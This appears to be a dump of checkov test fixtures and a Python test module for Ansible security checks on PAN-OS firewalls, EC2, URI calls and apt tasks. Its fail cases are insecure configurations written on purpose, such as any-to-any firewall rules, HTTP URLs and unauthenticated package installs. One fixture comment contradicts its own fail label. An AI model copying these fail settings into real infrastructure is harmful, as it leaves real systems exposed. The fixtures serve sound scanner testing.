"{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-https'] # Single service provided description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] # Multiple services provided description: "A nice rule" action: 'allow' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcAnyDstAny/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_3" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_4" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_5" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_6" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_7" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_8" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_9" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_10" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_11" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_5" evaluated_keys: - "source_ip" - "destination_ip" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcAnyDstAny/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['any'] destination_ip: ['any'] # Source and destination IP are 'any' category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] # Source IP and destination IP are not provided, defaults to 'any' category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_3 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['any'] # Source IP is 'any' and destination IP is undefined and defaults to 'any' category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_4 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] destination_ip: ['any'] # Destination IP is 'any' and source IP is undefined and defaults to 'any' category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_5 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: [''] destination_ip: [''] # Source and destination IP are empty category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcAnyDstAny/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] # Source and destination IP addresses provided category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['1.1.1.1', '2.2.2.2'] destination_ip: ['10.10.10.10'] # Source and destination IP addresses provided, multiples category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_3 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10', '10.10.10.11'] # Source and destination IP addresses provided, multiples category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_4 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['1.1.1.1','2.2.2.2'] destination_ip: ['10.10.10.10', '10.10.10.11'] # Source and destination IP addresses provided, multiples category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_5 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['host_a'] destination_ip: ['host_b'] # Source and destination provided, object names instead of IP addresses category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_6 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['1.1.1.1'] destination_ip: ['any'] # Only destination IP is any, source IP is provided category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_7 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['1.1.1.1'] # Only destination IP is not provided (defaults to 'any'), source IP is provided category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_8 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['1.1.1.1'] destination_ip: [''] # Only destination IP is empty, source IP is provided category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_9 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: ['any'] destination_ip: ['1.1.1.1'] # Only source IP is any, destination IP is provided category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_10 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] destination_ip: ['1.1.1.1'] # Only source IP is not provided (defaults to 'any'), destination IP is provided category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_11 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] source_ip: [''] destination_ip: ['1.1.1.1'] # Only source IP is empty, destination IP is provided category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcZoneAnyNoDstZoneAny/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_2" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_3" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_4" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_5" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_6" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_7" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_8" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_9" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_pass_10" fail: - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_1" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_2" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_3" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_4" - "tasks.paloaltonetworks.panos.panos_security_rule.Security_rule_fail_5" evaluated_keys: - "source_zone" - "destination_zone" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcZoneAnyNoDstZoneAny/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_fail_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['any'] # Source and destination Zone are 'any' source_ip: ['1.1.1.1'] destination_ip: ['2.2.2.2'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' # source_zone: ['any'] # destination_zone: ['any'] # Source zone and destination zone are not provided, defaults to 'any' source_ip: ['1.1.1.1'] destination_ip: ['2.2.2.2'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_3 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] # destination_zone: ['any'] # Source Zone is 'any' and destination Zone is undefined and defaults to 'any' source_ip: ['1.1.1.1'] destination_ip: ['2.2.2.2'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_4 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' # source_zone: ['any'] destination_zone: ['any'] # Destination Zone is 'any' and source Zone is undefined and defaults to 'any' source_ip: ['1.1.1.1'] destination_ip: ['2.2.2.2'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_fail_5 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: [''] destination_zone: [''] # Source and destination Zone are empty source_ip: ['1.1.1.1'] destination_ip: ['2.2.2.2'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosPolicyNoSrcZoneAnyNoDstZoneAny/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Security_rule_pass_1 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['outside'] destination_zone: ['inside'] # Source and destination Zone addresses provided source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_2 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['outside','b2b'] destination_zone: ['inside'] # Source and destination Zone provided, multiples source_ip: ['1.1.1.1', '2.2.2.2'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_3 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['outside'] destination_zone: ['inside','trusted'] # Source and destination zone addresses provided, multiples source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10', '10.10.10.11'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_4 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['outside','b2b'] destination_zone: ['inside','trusted'] # Source and destination zone addresses provided, multiples source_ip: ['1.1.1.1','2.2.2.2'] destination_ip: ['10.10.10.10', '10.10.10.11'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_5 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['outside'] destination_zone: ['any'] # Only destination zone is any, source zone is provided source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_6 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['outside'] # destination_zone: ['inside'] # Only destination zone is not provided (defaults to 'any'), source zone is provided source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_7 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['outside'] destination_zone: [''] # Only destination zone is empty, source zone is provided source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_8 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: ['any'] destination_zone: ['inside'] # Only source zone is any, destination zone is provided source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_9 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' # source_zone: ['outside'] destination_zone: ['inside'] # Only source zone is not provided (defaults to 'any'), destination zone is provided source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' - name: Security_rule_pass_10 paloaltonetworks.panos.panos_security_rule: provider: '{{ provider }}' rule_name: 'Test rule' source_zone: [''] destination_zone: ['inside'] # Only source zone is empty, destination zone is provided source_ip: ['1.1.1.1'] destination_ip: ['10.10.10.10'] category: ['any'] application: ['ssl'] service: ['service-http', 'service-https'] description: "A nice rule" action: 'allow' log_setting: 'default' ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosZoneProtectionProfile/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_zone.Zone_pass_1" fail: - "tasks.paloaltonetworks.panos.panos_zone.Zone_fail_1" - "tasks.paloaltonetworks.panos.panos_zone.Zone_fail_2" evaluated_keys: - "zone_profile" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosZoneProtectionProfile/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Zone_fail_1 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' # Zone Protection Profile not specified, which is a fail - name: Zone_fail_2 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' zone_profile: '' # Empty Zone Protection Profile specified, which is a pass ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosZoneProtectionProfile/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Zone_pass_1 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' zone_profile: 'strict' # Zone Protection Profile specified, which is a pass ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosZoneUserIDIncludeACL/expected.yaml ================================================ pass: - "tasks.paloaltonetworks.panos.panos_zone.Zone_pass_1" - "tasks.paloaltonetworks.panos.panos_zone.Zone_pass_2" - "tasks.paloaltonetworks.panos.panos_zone.Zone_pass_3" fail: - "tasks.paloaltonetworks.panos.panos_zone.Zone_fail_1" - "tasks.paloaltonetworks.panos.panos_zone.Zone_fail_2" evaluated_keys: - "include_acl" - "enable_userid" ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosZoneUserIDIncludeACL/fail.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Zone_fail_1 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' zone_profile: 'strict' enable_userid: true # User-ID (enable_userid) is enabled and include ACL (include_acl) is not specified so defaults to none - name: Zone_fail_2 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' zone_profile: 'strict' enable_userid: true include_acl: [''] # User-ID (enable_userid) is enabled and include ACL (include_acl) is empty ================================================ FILE: tests/ansible/checks/graph_checks/resources/PanosZoneUserIDIncludeACL/pass.yaml ================================================ --- - name: Verify tests hosts: all connection: local gather_facts: false vars: device: ip_address: "{{ ip_address }}" username: "{{ username | default(omit) }}" password: "{{ password | default(omit) }}" api_key: "{{ api_key | default(omit) }}" tasks: - name: Zone_pass_1 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' zone_profile: 'strict' enable_userid: true include_acl: ['10.0.200.0/24'] # User-ID (enable_userid) is enabled and include ACL is specified, single ACL subnet - name: Zone_pass_2 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' zone_profile: 'strict' enable_userid: true include_acl: ['10.0.200.0/24', '10.0.300.0/24'] # User-ID (enable_userid) is enabled and include ACL is specified, multiple ACL subnets - name: Zone_pass_3 paloaltonetworks.panos.panos_zone: provider: '{{ provider }}' zone: 'dmz' mode: 'layer3' zone_profile: 'strict' # User-ID is not enabled (enable_userid not specified, defaults to false) so no include ACL is required ================================================ FILE: tests/ansible/checks/graph_checks/resources/UriHttpsOnly/expected.yaml ================================================ pass: - "tasks.ansible.builtin.uri.https" fail: - "tasks.uri.http" evaluated_keys: - "url" ================================================ FILE: tests/ansible/checks/graph_checks/resources/UriHttpsOnly/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: http uri: url: http://www.example.com return_content: yes register: this failed_when: "'AWESOME' not in this.content" ================================================ FILE: tests/ansible/checks/graph_checks/resources/UriHttpsOnly/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: https ansible.builtin.uri: url: https://www.example.com ================================================ FILE: tests/ansible/checks/graph_checks/test_yaml_policies.py ================================================ import warnings from pathlib import Path from typing import List from parameterized import parameterized_class from tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.graph_manager import ObjectGraphManager from checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph from tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestYamlPolicies(TestYamlPoliciesBase): def __init__(self, args): db_connector = set_db_connector_by_graph_framework(self.graph_framework) graph_manager = ObjectGraphManager(db_connector=db_connector, source="Ansible") super().__init__( graph_manager=graph_manager, real_graph_checks_path=str( Path(__file__).parent.parent.parent.parent.parent / "checkov/ansible/checks/graph_checks" ), test_checks_path="", check_type=CheckType.ANSIBLE, test_file_path=__file__, args=args, ) def setUp(self) -> None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_BlockErrorHandling(self): self.go("BlockErrorHandling", local_graph_class=AnsibleLocalGraph) def test_GetUrlHttpsOnly(self): self.go("GetUrlHttpsOnly", local_graph_class=AnsibleLocalGraph) def test_UriHttpsOnly(self): self.go("UriHttpsOnly", local_graph_class=AnsibleLocalGraph) def test_DnfDisableGpgCheck(self): self.go("DnfDisableGpgCheck", local_graph_class=AnsibleLocalGraph) def test_DnfSslVerify(self): self.go("DnfSslVerify", local_graph_class=AnsibleLocalGraph) def test_DnfValidateCerts(self): self.go("DnfValidateCerts", local_graph_class=AnsibleLocalGraph) # PAN-OS checks def test_PanosPolicyNoDSRI(self): self.go("PanosPolicyNoDSRI", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyDescription(self): self.go("PanosPolicyDescription", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyNoServiceAny(self): self.go("PanosPolicyNoServiceAny", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyNoApplicationAny(self): self.go("PanosPolicyNoApplicationAny", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyNoSrcAnyDstAny(self): self.go("PanosPolicyNoSrcAnyDstAny", local_graph_class=AnsibleLocalGraph) def test_PanosInterfaceMgmtProfileNoHTTP(self): self.go("PanosInterfaceMgmtProfileNoHTTP", local_graph_class=AnsibleLocalGraph) def test_PanosInterfaceMgmtProfileNoTelnet(self): self.go("PanosInterfaceMgmtProfileNoTelnet", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyLogForwarding(self): self.go("PanosPolicyLogForwarding", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyLoggingEnabled(self): self.go("PanosPolicyLoggingEnabled", local_graph_class=AnsibleLocalGraph) def test_PanosZoneProtectionProfile(self): self.go("PanosZoneProtectionProfile", local_graph_class=AnsibleLocalGraph) def test_PanosZoneUserIDIncludeACL(self): self.go("PanosZoneUserIDIncludeACL", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyLogSessionStart(self): self.go("PanosPolicyLogSessionStart", local_graph_class=AnsibleLocalGraph) def test_PanosPolicyNoSrcZoneAnyNoDstZoneAny(self): self.go("PanosPolicyNoSrcZoneAnyNoDstZoneAny", local_graph_class=AnsibleLocalGraph) def test_registry_load(self): registry = self.get_checks_registry() self.assertGreater(len(registry.checks), 0) def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]): evaluated_keys_results = results[0].check_result["evaluated_keys"] self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results) def create_report_from_graph_checks_results(self, checks_results, check): report = Report(CheckType.ANSIBLE) first_results_key = list(checks_results.keys())[0] for check_result in checks_results[first_results_key]: entity = check_result["entity"] record = Record( check_id=check["id"], check_name=check["name"], check_result=check_result, code_block=[(0, "")], file_path=entity.get(CustomAttributes.FILE_PATH), file_line_range=[entity.get("__startline__"), entity.get("__endline__")], resource=f"{entity.get(CustomAttributes.BLOCK_NAME)}", entity_tags=entity.get("tags", {}), evaluations=None, check_class="", file_abs_path=entity.get(CustomAttributes.FILE_PATH), ) if check_result["result"] == CheckResult.PASSED: report.passed_checks.append(record) if check_result["result"] == CheckResult.FAILED: report.failed_checks.append(record) return report ================================================ FILE: tests/ansible/checks/task/__init__.py ================================================ ================================================ FILE: tests/ansible/checks/task/aws/EC2EBSOptimized/expected.yaml ================================================ pass: - "tasks.amazon.aws.ec2_instance.enabled" fail: - "tasks.amazon.aws.ec2_instance.default" - "tasks.ec2_instance.disabled" ================================================ FILE: tests/ansible/checks/task/aws/EC2EBSOptimized/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: default amazon.aws.ec2_instance: name: "public-compute-instance" key_name: "prod-ssh-key" vpc_subnet_id: subnet-5ca1ab1e instance_type: c5.large security_group: default network: assign_public_ip: true image_id: ami-123456 - name: disabled ec2_instance: name: "public-compute-instance" key_name: "prod-ssh-key" vpc_subnet_id: subnet-5ca1ab1e instance_type: c5.large security_group: default network: assign_public_ip: false image_id: ami-123456 ebs_optimized: false ================================================ FILE: tests/ansible/checks/task/aws/EC2EBSOptimized/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: enabled amazon.aws.ec2_instance: name: "public-compute-instance" key_name: "prod-ssh-key" vpc_subnet_id: subnet-5ca1ab1e instance_type: c5.large security_group: default network: assign_public_ip: false image_id: ami-123456 ebs_optimized: true ================================================ FILE: tests/ansible/checks/task/aws/EC2EBSOptimized/unknown.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: filter amazon.aws.ec2_instance: state: absent filters: instance-state-name: running - name: instance_id amazon.aws.ec2_instance: state: restarted instance_ids: - i-12345678 ================================================ FILE: tests/ansible/checks/task/aws/EC2PublicIP/expected.yaml ================================================ pass: - "tasks.amazon.aws.ec2_instance.private" fail: - "tasks.amazon.aws.ec2_instance.default" - "tasks.ec2_instance.public" ================================================ FILE: tests/ansible/checks/task/aws/EC2PublicIP/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: default amazon.aws.ec2_instance: name: "public-compute-instance" key_name: "prod-ssh-key" vpc_subnet_id: subnet-5ca1ab1e instance_type: c5.large security_group: default image_id: ami-123456 - name: public ec2_instance: name: "public-compute-instance" key_name: "prod-ssh-key" vpc_subnet_id: subnet-5ca1ab1e instance_type: c5.large security_group: default network: assign_public_ip: true image_id: ami-123456 ebs_optimized: false ================================================ FILE: tests/ansible/checks/task/aws/EC2PublicIP/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: private amazon.aws.ec2_instance: name: "public-compute-instance" key_name: "prod-ssh-key" vpc_subnet_id: subnet-5ca1ab1e instance_type: c5.large security_group: default network: assign_public_ip: false image_id: ami-123456 ebs_optimized: true ================================================ FILE: tests/ansible/checks/task/aws/EC2PublicIP/unknown.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: filter amazon.aws.ec2_instance: state: absent filters: instance-state-name: running - name: instance_id amazon.aws.ec2_instance: state: restarted instance_ids: - i-12345678 ================================================ FILE: tests/ansible/checks/task/aws/__init__.py ================================================ ================================================ FILE: tests/ansible/checks/task/builtin/AptAllowUnauthenticated/expected.yaml ================================================ pass: - "tasks.ansible.builtin.apt.long_implicit_ok" - "tasks.apt.short_implicit_ok" - "tasks.ansible.builtin.apt.long_explicit_ok" - "tasks.apt.short_explicit_ok" fail: - "tasks.ansible.builtin.apt.long_unsafe" - "tasks.apt.short_unsafe" ================================================ FILE: tests/ansible/checks/task/builtin/AptAllowUnauthenticated/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_unsafe ansible.builtin.apt: name: openssl state: latest allow_unauthenticated: yes - name: short_unsafe apt: name: openssl state: latest allow_unauthenticated: true ================================================ FILE: tests/ansible/checks/task/builtin/AptAllowUnauthenticated/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_implicit_ok ansible.builtin.apt: name: apache2 state: present install_recommends: no - name: short_implicit_ok apt: name: nginx state: present - name: long_explicit_ok ansible.builtin.apt: name: openssl state: latest allow_unauthenticated: false - name: short_explicit_ok apt: name: ca-certificates state: latest allow_unauthenticated: false ================================================ FILE: tests/ansible/checks/task/builtin/AptForce/expected.yaml ================================================ pass: - "tasks.ansible.builtin.apt.long_implicit_ok" - "tasks.apt.short_implicit_ok" - "tasks.ansible.builtin.apt.long_explicit_ok" - "tasks.apt.short_explicit_ok" fail: - "tasks.ansible.builtin.apt.long_unsafe" - "tasks.apt.short_unsafe" ================================================ FILE: tests/ansible/checks/task/builtin/AptForce/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_unsafe ansible.builtin.apt: name: openssl state: latest force: true - name: short_unsafe apt: name: openssl state: latest force: true ================================================ FILE: tests/ansible/checks/task/builtin/AptForce/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: long_implicit_ok ansible.builtin.apt: name: apache2 state: present install_recommends: no - name: short_implicit_ok apt: name: nginx state: present - name: long_explicit_ok ansible.builtin.apt: name: openssl state: latest force: false - name: short_explicit_ok apt: name: ca-certificates state: latest force: false ================================================ FILE: 